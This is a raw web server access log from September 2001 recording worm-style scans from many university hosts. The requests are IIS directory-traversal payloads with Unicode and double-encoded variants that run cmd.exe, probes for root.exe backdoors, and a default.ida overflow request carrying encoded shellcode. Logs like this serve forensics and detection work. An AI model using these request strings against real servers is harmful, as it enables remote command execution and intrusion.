[128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:18: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:18: [207.217.253.41] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:37: [207.217.253.41] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:37:55: [207.217.253.41] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:38:14: [207.217.253.41] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:38:33: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:38:33: [207.217.253.41] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:38:55: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:38:55: [207.217.253.41] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:39:14: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:39:14: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:39:18: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:39:23: byup1un1.byu.edu [128.187.0.140] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:42:45: byup1un1.byu.edu [128.187.0.140] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:42:45: byup1un1.byu.edu [128.187.0.140] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:45: byup1un1.byu.edu [128.187.0.140] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:46: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:46: byup1un1.byu.edu [128.187.0.140] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:46: byup1un1.byu.edu [128.187.0.140] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:46: byup1un1.byu.edu [128.187.0.140] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:46: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:47: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:47: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:47: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:47: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:47: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:48: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:48: byup1un1.byu.edu [128.187.0.140] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:42:48: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:44:57: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:45:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:45:09: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:10: PO-ADMIN120.BU.EDU [128.197.232.120] "" 20010918 17:45:26: PO-ADMIN120.BU.EDU [128.197.232.120] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:45:26: PO-ADMIN120.BU.EDU [128.197.232.120] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:29: PO-ADMIN120.BU.EDU [128.197.232.120] "" 20010918 17:45:48: PO-ADMIN120.BU.EDU [128.197.232.120] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:45:48: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 17:48:12: [216.167.127.107] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:50:42: [216.167.127.107] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:51:00: [216.167.127.107] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:51:19: [216.167.127.107] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:51:37: [216.167.127.107] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:51:55: [216.167.127.107] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:52:14: [216.167.127.107] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:52:36: [216.167.127.107] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:52:54: [216.167.127.107] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:53:16: [216.167.127.107] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:53:34: [216.167.127.107] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:53:53: [216.167.127.107] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:11: [216.167.127.107] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:54:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:54:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:33: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:33: [216.167.127.107] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:51: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:54:52: [216.167.127.107] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:10: [216.167.127.107] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:55:28: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:29: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:30: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:55:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:56:31: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:55: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 17:58:56: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:47: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:07:47: dhcp0.cs.columbia.edu [128.59.19.200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 18:11:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 18:14:50: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 18:14:50: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:50: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 18:14:51: dhcp12.cs.columbia.edu 